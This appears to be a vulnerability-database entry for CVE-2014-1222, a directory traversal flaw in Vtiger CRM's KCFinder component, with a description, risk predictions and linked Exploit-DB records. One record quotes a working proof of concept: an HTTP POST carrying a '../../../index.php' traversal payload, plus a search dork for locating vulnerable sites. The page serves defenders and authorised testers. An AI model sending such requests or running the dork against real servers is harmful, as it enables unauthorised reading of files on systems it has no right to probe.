CVE-2014-1222

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Published 2014-08-12 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

5.0

Description

Directory traversal vulnerability in kcfinder/browse.php in Vtiger CRM before 6.0.0 Security patch 1 allows remote authenticated users to read arbitrary files via a .. (dot dot) in the file parameter in a download action. NOTE: it is likely that this issue is actually in the KCFinder third-party component, and it affects additional products besides Vtiger CRM.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-36581 webapps php

Mahendra · 2015-03-31

Fiyo CMS 2.0.1.8 - Multiple Vulnerabilities

Source code queued for fetch — refresh in a moment.

EDB-27597 webapps php text · 1 KB

DaOne · 2013-08-15

KCFinder 2.51 - Local File Disclosure

text exploit Source: Exploit-DB

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# Exploit Title: KCFinder Local File Disclosure 
# Author: DaOne
# Vendor Homepage: http://kcfinder.sunhater.com/
# Category: webapps/php
# Version: 2.51 + old versions
# Google dork: inurl:kcfinder/browse.php
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[#] Tested on their own demo...

-PoC-
POST http://server/kcfinder/browse.php?type=images&lng=en&act=download HTTP/1.1
Host: server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 51

dir=images/Photos+from+Bulgaria&file=../../../index.php

EDB-32213 webapps php verified

Portcullis · 2014-03-12

vTiger CRM 5.4.0/6.0 RC/6.0.0 GA - 'browse.php' Local File Inclusion

Source code queued for fetch — refresh in a moment.

Application impact

Vendor	Product	Versions	Fixed
vtiger	vtiger_crm	`{"endIncluding":"6.0.0"}`

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.